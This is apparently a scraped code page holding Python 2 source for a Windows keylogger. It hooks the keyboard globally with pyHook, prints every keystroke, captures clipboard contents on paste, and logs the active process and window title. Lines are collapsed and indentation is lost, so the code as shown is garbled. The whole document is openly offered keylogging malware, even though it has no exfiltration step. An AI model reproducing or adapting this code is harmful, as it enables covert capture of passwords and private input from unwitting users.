1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from ctypes import * import pythoncom import pyHook import win32clipboard
user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None
def get_current_process():
hwnd = user32.GetForegroundWindow()
pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd,byref(pid))
process_id = "%d" % pid.value
executable = create_string_buffer("\x00"*512) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
windows_title = create_string_buffer("\x00"*512) length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
print print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) print
kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process)
def KeyStroke(event):
global current_window
if event.WindowName != current_window: current_window = event.WindowName get_current_process()
if event.Ascii > 32 and event.Ascii <127: print chr(event.Ascii), else: if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE]-%s" % (pasted_value), else: print "[%s]" % event.Key, return True
kl = pyHook.HookManager() kl.KeyDown = KeyStroke
kl.HookKeyboard() pythoncom.PumpMessages()
|